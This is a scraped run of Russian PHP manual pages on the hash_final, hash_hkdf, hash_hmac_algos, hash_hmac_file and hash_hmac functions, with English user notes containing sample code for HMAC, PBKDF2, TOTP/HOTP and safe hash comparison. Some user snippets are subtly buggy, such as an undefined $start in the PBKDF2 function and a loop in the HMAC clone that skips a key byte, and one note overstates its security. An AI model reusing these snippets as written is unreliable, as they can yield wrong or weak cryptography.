ALGO: joaat, time: 9.7175559997559
ALGO: haval128,3, time: 9.6855540275574
ALGO: haval160,3, time: 10.10857796669
ALGO: haval192,3, time: 9.6765530109406
ALGO: haval224,3, time: 20.636180877686
ALGO: haval256,3, time: 10.641607999802
ALGO: haval128,4, time: 7.5594329833984
ALGO: haval160,4, time: 7.2884171009064
ALGO: haval192,4, time: 7.2934169769287
ALGO: haval224,4, time: 7.2964169979095
ALGO: haval256,4, time: 7.3034179210663
ALGO: haval128,5, time: 8.3244760036469
ALGO: haval160,5, time: 8.3174757957458
ALGO: haval192,5, time: 8.3204758167267
ALGO: haval224,5, time: 8.3234758377075
ALGO: haval256,5, time: 8.3254759311676

bench 13,0 Mo, win is 'adler32'  : 0.037002

ALGO: md2, time: 2.0341160297394
ALGO: md4, time: 0.062004089355469
ALGO: md5, time: 0.071003913879395
ALGO: sha1, time: 0.086004972457886
ALGO: sha224, time: 0.18301010131836
ALGO: sha256, time: 0.18301105499268
ALGO: sha384, time: 0.36102104187012
ALGO: sha512, time: 0.3610200881958
ALGO: ripemd128, time: 0.15900897979736
ALGO: ripemd160, time: 0.20701193809509
ALGO: ripemd256, time: 0.16500997543335
ALGO: ripemd320, time: 0.22501301765442
ALGO: whirlpool, time: 0.74204206466675
ALGO: tiger128,3, time: 0.12200689315796
ALGO: tiger160,3, time: 0.12100696563721
ALGO: tiger192,3, time: 0.12200713157654
ALGO: tiger128,4, time: 0.15700888633728
ALGO: tiger160,4, time: 0.15700888633728
ALGO: tiger192,4, time: 0.15600895881653
ALGO: snefru, time: 1.1520659923553
ALGO: snefru256, time: 1.151065826416
ALGO: gost, time: 0.48902797698975
ALGO: gost-crypto, time: 0.49202799797058
ALGO: adler32, time: 0.037002086639404
ALGO: crc32, time: 0.10300588607788
ALGO: crc32b, time: 0.093006134033203
ALGO: fnv132, time: 0.043002128601074
ALGO: fnv1a32, time: 0.045002937316895
ALGO: fnv164, time: 0.12800693511963
ALGO: fnv1a64, time: 0.12800693511963
ALGO: joaat, time: 0.070003986358643
ALGO: haval128,3, time: 0.12900686264038
ALGO: haval160,3, time: 0.12800693511963
ALGO: haval192,3, time: 0.12900805473328
ALGO: haval224,3, time: 0.12800693511963
ALGO: haval256,3, time: 0.12800693511963
ALGO: haval128,4, time: 0.19901204109192
ALGO: haval160,4, time: 0.1990110874176
ALGO: haval192,4, time: 0.20001196861267
ALGO: haval224,4, time: 0.20001101493835
ALGO: haval256,4, time: 0.20001220703125
ALGO: haval128,5, time: 0.22601294517517
ALGO: haval160,5, time: 0.2270131111145
ALGO: haval192,5, time: 0.2270131111145
ALGO: haval224,5, time: 0.2270131111145
ALGO: haval256,5, time: 0.22701287269592
holdoffhunger at gmail dot com 30-Jun-2012 01:03
The Hash_File() function returns the same value as if the function Hash() had been performed on the same exact piece of data.  At first, I was uncertain if Hash_File() used the filename, or even the permission settings, when defining the data to be hashed for the given algorithm.  If it did work that way, then that means the same exact files would have different HASH values when you moved or renamed them on your system.  Anyway, fortunately, it does not work that way.  Hash() and Hash_File() produce identical results for the same pieces of data.  This is also true for the relationship between the Hash_HMAC() and Hash_HMAC_File() functions: the same pieces of data, the same keys, produce identical results.  It was a wise, design principle.

Some sample code to demonstrate this principle :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ------------------------------------------------

    $test_data = "php-hashing";
    $test_file = "test.txt";
    $test_file_read = file_get_contents($test_file);

        // Hash Data
        // ------------------------------------------------

    $test_data_hash = hash("md2", $test_data, FALSE);
    $test_file_hash = hash_file("md2", $test_file, FALSE);

        // Print Hash Results
        // ------------------------------------------------

    print("Data Hash ($test_data): $test_data_hash<br><br>");
    print("File Hash ($test_file_read): $test_file_hash");

?>

    Expected Results
    ..................................

Data Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3

File Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3
apm at domain itsmee.co.uk 10-Jul-2011 04:56
I have verified that the output of the "crc32" is the ITU I.363.5 algorithm (a.k.a. AAL5 CRC - popularised by BZIP2 but also used in ATM transmissions - the algorithm is the same as that in POSIX 1003.2-1992 in Cksum but that stuffs the size into the CRC at the end for extra measure).  However, the output is expressed in reverse order to many CRC programs.  Using the "standard" crctest.txt (numbers 1 to 9 in sequence - google it, it's not hard to find), php will output 181989fc - many other (Intel little endian) programs would output this as fc891918, hence the confusion (that I have had, at least).

The crc32b is the 32-bit Frame Check Sequence of ITU V.42 (used in Ethernet and popularised by PKZip).  The output from this CRC is popularised in Intel little endian format and would produce cbf43926 on the same file.
Anonymous 26-Apr-2011 09:55
Please take note that hash-file will throw error on files >=2GB.
chernyshevsky at hotmail dot com 22-Sep-2010 04:01
If you want to use hash_file() to get the CRC32 value of a file, use the following to unpack the hex string returned by the function to an integer (similar to crc32()):

$hash = hash_file('crc32b', $filepath);
$array = unpack('N', pack('H*', $hash));
$crc32 = $array[1];
Keisial at gmail dot com 11-Sep-2008 11:46
The 'octets reversed' you are seeing is the bug 45028 which has been fixed. http://bugs.php.net/bug.php?id=45028

The difference between crc32 and crc32b is explained on mhash man page. crc32 is the one used on ethernet, while crc32b is the one used on zip, png... They differ on the table used.
allaryin at gmail dot com 23-Jul-2008 03:16
For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.

There is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).

crc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:

<?php
$fname = "something.png";

$hash = hash_file( 'crc32', $fname );
echo "crc32  = $hash\n";

$hash = hash_file( 'crc32b', $fname );
echo "crc32b = $hash\n";

$hash = sprintf("%x",crc32(file_get_contents($fname)));
echo "manual = $hash\n";
?>

crc32  = f41d7f4e
crc32b = 7dafbba4
manual = a4bbaf7d


Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода

  • « hash_file
  • hash_hkdf »
  • PHP Manual
  • Функции Hash
  • Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода

hash_final

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_final — Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода

Описание

hash_final(HashContext $context, bool $binary = false): string

Список параметров

context

Контекст хеширования, возвращённый hash_init().

binary

Когда установлено в true, выводит необработанные двоичные данные. При false выводит данные в шестнадцатеричной кодировке в нижнем регистре.

Возвращаемые значения

Возвращает строку содержащую вычисленный хеш-код в шестнадцатеричной кодировке в нижнем регистре. Если binary задан как true, то возвращается хеш-код в виде бинарных данных.

Список изменений

Версия | Описание
7.2.0 | Принимает HashContext, а не ресурс.

Смотрите также

  • hash_init() - Инициализация инкрементального контекста хеширования
  • hash_update() - Добавляет данные в активный контекст хеширования
  • hash_update_stream() - Добавляет данные из открытого потока в активный контекст хеширования
  • hash_update_file() - Добавляет данные из файла в активный контекст хеширования

User Contributed Notes

There are no user contributed notes for this page.


Формирования ключа HKDF для заданных входных данных

  • « hash_final
  • hash_hmac_algos »
  • PHP Manual
  • Функции Hash
  • Формирования ключа HKDF для заданных входных данных

hash_hkdf

(PHP 7 >= 7.1.2, PHP 8)

hash_hkdf — Формирования ключа HKDF для заданных входных данных

Описание

hash_hkdf(
string $algo,
string $key,
int $length = 0,
string $info = "",
string $salt = ""
): string

Список параметров

algo

Имя выбранного хеширующего алгоритма (например, "sha256", "sha512", "haval160,4" и т.д.) Список поддерживаемых алгоритмов можно посмотреть в описании функции hash_algos().

Замечание:

Не криптографические хеширующие функции не допускаются.

key

Входные данные (необработанные бинарные данные). Не может быть пустым.

length

Выбранная длина вывода в байтах. Не может быть более чем в 255 раз больше размера выбранной хеширующей функции.

Если length установлено как 0, то вывод по длине будет равен размеру выбранной хеширующей функции.

info

Информационная строка, специфичная для приложения/контекста.

salt

Соль, используемая при формировании ключа.

Хотя и необязательно, но добавление случайной соли значительно улучшает силу HKDF.

Возвращаемые значения

Возвращает строку, содержащую необработанные бинарные данные, представляющие сформированный ключ.

Ошибки

Выбрасывается ValueError, если параметр key пуст, в параметре algo указан неизвестный либо не криптографический алгоритм, параметр length меньше 0 или очень большой (более чем в 255 раз больше размера хеш-функции).

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывается исключение ValueError в случае возникновения ошибки; ранее выдавалась ошибка уровня E_WARNING и возвращалось значение false.

Примеры

Пример #1 Пример использования hash_hkdf()

<?php
// Генерируем случайный ключ и соль для усиления процесса формирования.
$inputKey = random_bytes(32);
$salt = random_bytes(16);

// Формируем пару разных ключей, используя одни и те же входные данные.
$encryptionKey = hash_hkdf('sha256', $inputKey, 32, 'aes-256-encryption', $salt);
$authenticationKey = hash_hkdf('sha256', $inputKey, 32, 'sha-256-authentication', $salt);

var_dump($encryptionKey !== $authenticationKey); // bool(true)
?>

В примере выше создана пара разных ключей, подходящих для создания конструкции encrypt-then-HMAC, используя AES-256 и SHA-256 для кодирования и аутентификации соответственно.

Смотрите также

  • hash_pbkdf2() - Формирования ключа PBKDF2 для заданных входных данных
  • » RFC 5869
  • » пользовательская реализация

User Contributed Notes

landers dot robert at gmail dot com 13-Jul-2022 03:42
Make sure the info parameter contains random elements.

From: https://soatok.blog/2021/11/17/understanding-hkdf/


Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac

  • « hash_hkdf
  • hash_hmac_file »
  • PHP Manual
  • Функции Hash
  • Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac

hash_hmac_algos

(PHP 7 >= 7.2.0, PHP 8)

hash_hmac_algos — Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac

Описание

hash_hmac_algos(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексированный массив со списком поддерживаемых функцией hash_hmac() алгоритмов хеширования.

Примеры

Пример #1 Пример использования hash_hmac_algos()

<?php
print_r(hash_hmac_algos());

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => haval128,3
    [30] => haval160,3
    [31] => haval192,3
    [32] => haval224,3
    [33] => haval256,3
    [34] => haval128,4
    [35] => haval160,4
    [36] => haval192,4
    [37] => haval224,4
    [38] => haval256,4
    [39] => haval128,5
    [40] => haval160,5
    [41] => haval192,5
    [42] => haval224,5
    [43] => haval256,5
)

Примечания

Замечание:

До PHP 7.2.0 единственным вариантом получить список поддерживаемых алгоритмов было вызвать функцию hash_algos(), которая также возвращала алгоритмы не поддерживаемые hash_hmac().

Смотрите также

  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • hash_algos() - Возвращает список зарегистрированных алгоритмов хеширования

User Contributed Notes

There are no user contributed notes for this page.


Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла

  • « hash_hmac_algos
  • hash_hmac »
  • PHP Manual
  • Функции Hash
  • Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла

hash_hmac_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac_file — Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла

Описание

hash_hmac_file(
string $algo,
string $filename,
string $key,
bool $binary = false
): string|false

Список параметров

algo

Имя выбранного алгоритма хеширования (например, "md5", "sha256", "haval160,4" и т.д.) Смотрите hash_hmac_algos() для получения списка поддерживаемых алгоритмов.

filename

URL расположения файла для хеширования; Поддерживаются обработчики fopen.

key

Общий секретный ключ, используемый для генерации HMAC хеш-кода.

binary

Когда установлено в true, выводит необработанные двоичные данные. При false выводит данные в шестнадцатеричной кодировке в нижнем регистре.

Возвращаемые значения

Возвращает строку, содержащую вычисленный хеш-код в шестнадцатеричной кодировке в нижнем регистре. Если binary задан как true, то возвращается хеш-код в виде бинарных данных. Возвращает false, если файл filename недоступен для чтения.

Ошибки

Выбрасывает исключение ValueError, если параметр algo неизвестен или не является криптографической хеш-функцией.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если алгоритм algo неизвестен или не является криптографической хеш-функцией; ранее вместо этого возвращалось значение false.
7.2.0 | Запрещено использование некриптографических хеш-функций (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat).

Примеры

Пример #1 Пример использования hash_hmac_file()

<?php
/* Создаём файл, чтобы вычислить его хеш */
file_put_contents('example.txt', 'Наглый коричневый лисёнок прыгает вокруг ленивой собаки.');

echo hash_hmac_file('sha256', 'example.txt', 'secret');
?>

Результат выполнения данного примера:

bc83c8fabc807cabbbb087bf90c760888349b223b5ba0a35251f7b37b05bf9c9

Смотрите также

  • hash_hmac_algos() - Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac
  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • hash_file() - Генерация хеш-значения, используя содержимое заданного файла

User Contributed Notes

There are no user contributed notes for this page.


Генерация хеш-кода на основе ключа, используя метод HMAC

  • « hash_hmac_file
  • hash_init »
  • PHP Manual
  • Функции Hash
  • Генерация хеш-кода на основе ключа, используя метод HMAC

hash_hmac

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac — Генерация хеш-кода на основе ключа, используя метод HMAC

Описание

hash_hmac(
string $algo,
string $data,
string $key,
bool $binary = false
): string

Список параметров

algo

Имя выбранного алгоритма хеширования (например, "md5", "sha256", "haval160,4" и т.д.) Смотрите hash_hmac_algos() для получения списка поддерживаемых алгоритмов.

data

Сообщение для хеширования.

key

Общий секретный ключ, используемый для генерации HMAC хеш-кода.

binary

Когда установлено в true, выводит необработанные двоичные данные. При false выводит данные в шестнадцатеричной кодировке в нижнем регистре.

Возвращаемые значения

Возвращает строку, содержащую вычисленный хеш-код в шестнадцатеричной кодировке в нижнем регистре. Если binary задан как true, то возвращается хеш-код в виде бинарных данных.

Ошибки

Выбрасывает исключение ValueError, если параметр algo неизвестен или не является криптографической хеш-функцией.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если алгоритм algo неизвестен или не является криптографической хеш-функцией; ранее вместо этого возвращалось значение false.
7.2.0 | Запрещено использование некриптографических хеш-функций (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat).

Примеры

Пример #1 Пример использования hash_hmac()

<?php
echo hash_hmac('sha256', 'Наглый коричневый лисёнок прыгает вокруг ленивой собаки.', 'secret');
?>

Результат выполнения данного примера:

bc83c8fabc807cabbbb087bf90c760888349b223b5ba0a35251f7b37b05bf9c9

Смотрите также

  • hash() - Генерирует хеш-код (подпись сообщения)
  • hash_hmac_algos() - Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac
  • hash_init() - Инициализация инкрементального контекста хеширования
  • hash_hmac_file() - Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла
  • hash_equals() - Сравнивает строки без риска атаки по времени

User Contributed Notes

pbuttelli at tutanota dot com 21-Dec-2022 09:23
While implementing a TOTP application, please note that hash_hmac() must receive data in binary, not in a hexadecimal string, to generate a valid OTP across platforms.

This problem can be easily fixed by converting a hexadecimal string to its binary form before passing it to hash_hmac().

<?php
$time = hex2bin('0000000003523f77'); // time must be in this "hexadecimal and padded" form
$key = hex2bin('bb57d1...'); // 160-bits = 40-digit hexadecimal (4 bits) = 32-digit base32 (5 bits)

hash_hmac('sha1', $time, $key);
?>
Pawel M. 11-Mar-2021 10:32
Function for those, who really need to use crc32 algorithm in PHP>7.1

<?php
    function hash_hmac_crc32(string $key, string $data): string
    {
        $b = 4;
        if (strlen($key) > $b) {
            $key = pack("H*", hash('crc32', $key));
        }
        $key  = str_pad($key, $b, chr(0x00));
        $ipad = str_pad('', $b, chr(0x36));
        $opad = str_pad('', $b, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;
        return hash('crc32', $k_opad . hash('crc32', $k_ipad . $data, true));
    }
?>
Korbendallas 23-Apr-2018 08:46
Very important notice, if you pass array to $data, php will generate a Warning, return a NULL and continue your application. Which I think is critical vulnerability as this function used to check authorisation typically.

Example:
<?php
var_dump(hash_hmac('sha256', [], 'secret'));

WARNING hash_hmac() expects parameter 2 to be string, array given on line number 3
NULL
?>
Of course not documented feature.
omidbahrami1990 at gmail dot com 06-Dec-2017 12:02
This Is The Most Secure Way To Hash Your Data,
It Will Be Almost Impossible To Retrieve Your Data.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create A Random Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','TNYazlbZ1Mq3HDMiEFDLrRMZBftFqpU2Ipytgytsc+jmQysE8lmigKtmGK+exB337ZOcAgwPpWmoPHL5niO3jA==');
define('SECONDKEY','z5hh/Kax4+HKZ8exOlvGlrHev/6ZynOEn904yiiIcWo/qLXWSfLkzm4NSJiGXu4uR7xxUowOkO26VqAi2p2DYQ==');
?>
--------------------------------------------------------
<?php
function secured_hash($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$first_hashed = hash_hmac('sha3-512', $data, $first_key, TRUE);
$second_hashed = hash_hmac('sha3-512', $first_hashed, $second_key);

return $second_hashed;
}
?>
Michiel Thalen, Thalent 13-Oct-2016 03:54
As  Michael  uggests we should take care not to compare the hash using == (or ===). Since PHP version 5.6 we can now use hash_equals().

So the example will be:

<?php
    if (hash_equals($hashed_expected, $hashed_value) ) {
        echo "hashes match!";
    }
?>
droidlabour at gmail dot com 31-Mar-2016 06:24
For signing an Amazon AWS query, base64-encode the binary value:

<?php
echo base64_encode(hash_hmac("sha1", $Request, $AmazonSecretKey, true));
?>
Michael 19-Feb-2013 08:52
Please be careful when comparing hashes. In certain cases, information can be leaked by using a timing attack. It takes advantage of the == operator only comparing until it finds a difference in the two strings. To prevent it, you have two options.

Option 1: hash both hashed strings first - this doesn't stop the timing difference, but it makes the information useless.

<?php
    if (md5($hashed_value) === md5($hashed_expected)) {
        echo "hashes match!";
    }
?>

Option 2: always compare the whole string.

<?php
    if (hash_compare($hashed_value, $hashed_expected)) {
        echo "hashes match!";
    }

    function hash_compare($a, $b) {
        if (!is_string($a) || !is_string($b)) {
            return false;
        }

        $len = strlen($a);
        if ($len !== strlen($b)) {
            return false;
        }

        $status = 0;
        for ($i = 0; $i < $len; $i++) {
            $status |= ord($a[$i]) ^ ord($b[$i]);
        }
        return $status === 0;
    }
?>
pete dot walker at NOSPAM dot me dot com 08-Oct-2012 02:13
A function implementing the algorithm outlined in RFC 6238 (http://tools.ietf.org/html/rfc6238)

<?php
/**
 * This function implements the algorithm outlined
 * in RFC 6238 for Time-Based One-Time Passwords
 *
 * @link http://tools.ietf.org/html/rfc6238
 * @param string $key    the string to use for the HMAC key
 * @param mixed  $time   a value that reflects a time (unix
 *                       time in the example)
 * @param int    $digits the desired length of the OTP
 * @param string $crypto the desired HMAC crypto algorithm
 * @return string the generated OTP
 */
function oauth_totp($key, $time, $digits=8, $crypto='sha256')
{
    $digits = intval($digits);
    $result = null;

    // Convert counter to binary (64-bit)
    $data = pack('NNC*', $time >> 32, $time & 0xFFFFFFFF);

    // Pad to 8 chars (if necessary)
    if (strlen ($data) < 8) {
        $data = str_pad($data, 8, chr(0), STR_PAD_LEFT);
    }

    // Get the hash
    $hash = hash_hmac($crypto, $data, $key);

    // Grab the offset
    $offset = 2 * hexdec(substr($hash, strlen($hash) - 1, 1));

    // Grab the portion we're interested in
    $binary = hexdec(substr($hash, $offset, 8)) & 0x7fffffff;

    // Modulus
    $result = $binary % pow(10, $digits);

    // Pad (if necessary)
    $result = str_pad($result, $digits, "0", STR_PAD_LEFT);

    return $result;
}
?>
relevant at celsius dot ee 14-Jul-2012 12:52
<?php
/* Here is a solution for those who used hash_hmac
   with Tiger algorithm in PHP 5.1 - 5.3
   and want to upgrade to PHP 5.4 (or newer?).

   The problem occured because the order of bytes for Tiger
   was changed to big endian since PHP 5.4.0.

   The two functions below assert $algo is one of Tiger algorithms,
   for example tiger160,4.
   */

# replaces hash('tiger...
function hash_tiger_rev($algo, $data, $raw_output = false) {
    $len = intval(substr($algo, 5, 3)); # 128, 160 or 192 bits
    $times = substr($algo, 9, 1); # 3 or 4
    $revhash = implode("", array_map("strrev",
        str_split(hash('tiger192,'.$times, $data, true), 8)));
    if ($len < 192) $revhash = substr($revhash, 0, $len >> 3);
    return $raw_output? $revhash: bin2hex($revhash);
}

# replaces hash_hmac('tiger...
function hash_hmac_tiger_rev($algo, $data, $key, $raw_output = false) {
    if (strlen($key) > 64) $key = hash_tiger_rev($algo, $key);
    $key = str_pad($key, 64, chr(0));
    $o_pad = str_repeat("\\", 64) ^ $key; # "\" = chr(0x5C)
    $i_pad = str_repeat("6", 64) ^ $key; # "6" = chr(0x36)
    return hash_tiger_rev($algo, $o_pad .
           hash_tiger_rev($algo, $i_pad . $data, true), $raw_output);
}

# always the new version of tiger
function hash_hmac_new($algo, $data, $key, $raw_output = false) {
    if (phpversion() > '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# always the old version of tiger
function hash_hmac_old($algo, $data, $key, $raw_output = false) {
    if (phpversion() < '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# let's test it
$algo = 'tiger160,4'; $pwd = 'foo'; $key = 'bar';
echo hash_hmac($algo, $pwd, $key), "<br>";
echo hash_hmac_tiger_rev($algo, $pwd, $key), "<br>";
echo "<br>";
echo hash_hmac_old($algo, $pwd, $key), "<br>";
echo hash_hmac_new($algo, $pwd, $key), "<br>";

/* With PHP 5.4 output would be
   590546d9f425188da35e5dfa53306ba3953571cc
   bd6664330ed96b9b39ee063241b62e43f546a49d

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   With PHP 5.3
   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc
*/

?>
havoc at NOSPAM defuse dot ca 30-Jun-2012 04:30
Here is an efficient PBDKF2 implementation:

<?php
/*
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1024.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 *
 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
 *
 * This implementation of PBKDF2 was originally created by defuse.ca
 * With improvements by variations-of-shadow.com
 */
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
    $algorithm = strtolower($algorithm);
    if(!in_array($algorithm, hash_algos(), true))
        die('PBKDF2 ERROR: Invalid hash algorithm.');
    if($count <= 0 || $key_length <= 0)
        die('PBKDF2 ERROR: Invalid parameters.');

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        // $i encoded as 4 bytes, big endian.
        $last = $salt . pack("N", $i);
        // first iteration
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        // perform the other $count - 1 iterations
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output)
        return substr($output, 0, $key_length);
    else
        return bin2hex(substr($output, 0, $key_length));
}
?>
martin dot papik at ipsec dot info 09-Jun-2012 07:38
Yet another OATH HOTP function. Has a 64 bit counter and is a lot shorter. Enjoy.

<?php

function oath_hotp ($secret, $ctr, $len=6) {
        $binctr = pack ('NNC*', $ctr>>32, $ctr & 0xFFFFFFFF);
        $hash = hash_hmac ("sha1", $binctr, $secret);
// This is where hashing stops and truncation begins
        $ofs = 2*hexdec (substr ($hash, 39, 1));
        $int = hexdec (substr ($hash, $ofs, 8)) & 0x7FFFFFFF;
        $pin = substr ($int, -$len);
        $pin = str_pad ($pin, $len, "0", STR_PAD_LEFT);
        return $pin;
}

?>
josefkoh at hotmail dot com 27-Jul-2011 10:24
Simple implementation of hmac sha1

<?php

function hmac_sha1($key, $data)
{
    // Adjust key to exactly 64 bytes
    if (strlen($key) > 64) {
        $key = str_pad(sha1($key, true), 64, chr(0));
    }
    if (strlen($key) < 64) {
        $key = str_pad($key, 64, chr(0));
    }

    // Outter and Inner pad
    $opad = str_repeat(chr(0x5C), 64);
    $ipad = str_repeat(chr(0x36), 64);

    // Xor key with opad & ipad
    for ($i = 0; $i < strlen($key); $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    return sha1($opad.sha1($ipad.$data, true));
}
Peter Terence Roux 23-Dec-2010 03:44
The Implementation of the PBKDF2 key derivation function as described in RFC 2898 can be used to not only get the hashed KEY but also a specific IV.

To use, one would use it as follows:-

<?php
  $p = str_hash_pbkdf2($pw, $salt, 10, 32, 'sha1');
  $p = base64_encode($p);

  $iv = str_hash_pbkdf2($pw, $salt, 10, 16, 'sha1', 32);
  $iv = base64_encode($iv);
?>

The function should be:-

<?php
  // PBKDF2 Implementation (described in RFC 2898)
  //
  // @param   string  p   password
  // @param   string  s   salt
  // @param   int     c   iteration count (use 1000 or higher)
  // @param   int     kl  derived key length
  // @param   string  a   hash algorithm
  // @param   int     st  start position of result
  //
  // @return  string  derived key
  function str_hash_pbkdf2($p, $s, $c, $kl, $a = 'sha256', $st=0)
  {
    $kb = $start+$kl;                        // Key blocks to compute
    $dk = '';                                    // Derived key

    // Create key
    for ($block=1; $block<=$kb; $block++)
    {
      // Initial hash for this block
      $ib = $h = hash_hmac($a, $s . pack('N', $block), $p, true);

      // Perform block iterations
      for ($i=1; $i<$c; $i++)
      {
        // XOR each iterate
        $ib ^= ($h = hash_hmac($a, $h, $p, true));
      }

      $dk .= $ib;                                // Append iterated block
    }

    // Return derived key of correct length
    return substr($dk, $start, $kl);
  }
?>
Siann Beck 10-Oct-2010 09:48
For signing an Amazon AWS query, base64-encode the binary value:

<?php
  $Sig = base64_encode(hash_hmac('sha256', $Request, $AmazonSecretKey, true));
?>
KC Cloyd 09-Sep-2009 11:16
Sometimes a hosting provider doesn't provide access to the Hash extension. Here is a clone of the hash_hmac function you can use in the event you need an HMAC generator and Hash is not available. It's only usable with MD5 and SHA1 encryption algorithms, but its output is identical to the official hash_hmac function (so far at least).

<?php

function custom_hmac($algo, $data, $key, $raw_output = false)
{
    $algo = strtolower($algo);
    $pack = 'H'.strlen($algo('test'));
    $size = 64;
    $opad = str_repeat(chr(0x5C), $size);
    $ipad = str_repeat(chr(0x36), $size);

    if (strlen($key) > $size) {
        $key = str_pad(pack($pack, $algo($key)), $size, chr(0x00));
    } else {
        $key = str_pad($key, $size, chr(0x00));
    }

    for ($i = 0; $i < strlen($key) - 1; $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    $output = $algo($opad.pack($pack, $algo($ipad.$data)));

    return ($raw_output) ? pack($pack, $output) : $output;
}

?>

Example Use:

<?php

custom_hmac('sha1', 'Hello, world!', 'secret', true);

?>
brent at thebrent dot net 21-May-2009 08:17
The hotp algorithms above work with counter values less than 256, but since the counter can be larger, it's necessary to iterate through all the bytes of the counter:

<?php
function oath_hotp ($key, $counter)
{
    // Counter
    //the counter value can be more than one byte long, so we need to go multiple times
    $cur_counter = array(0,0,0,0,0,0,0,0);
    for($i=7;$i>=0;$i--)
    {
        $cur_counter[$i] = pack ('C*', $counter);
        $counter = $counter >> 8;
    }
    $bin_counter = implode($cur_counter);
    // Pad to 8 chars
    if (strlen ($bin_counter) < 8)
    {
        $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
    }

    // HMAC
    $hash = hash_hmac ('sha1', $bin_counter, $key);
    return $hash;
}

function oath_truncate($hash, $length = 6)
{
    // Convert to dec
    foreach(str_split($hash,2) as $hex)
    {
        $hmac_result[]=hexdec($hex);
    }

    // Find offset
    $offset = $hmac_result[19] & 0xf;

    // Algorithm from RFC
    return
    (
        (($hmac_result[$offset+0] & 0x7f) << 24 ) |
        (($hmac_result[$offset+1] & 0xff) << 16 ) |
        (($hmac_result[$offset+2] & 0xff) << 8 ) |
        ($hmac_result[$offset+3] & 0xff)
    ) % pow(10,$length);
}
print "<pre>";
print "Compare results with:";
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<=1024;$i=$i+128)
{
   print $i."\t".($a=oath_hotp("12345678901234567890",$i));
   print "\t".oath_truncate($a)."\n";
}
?>
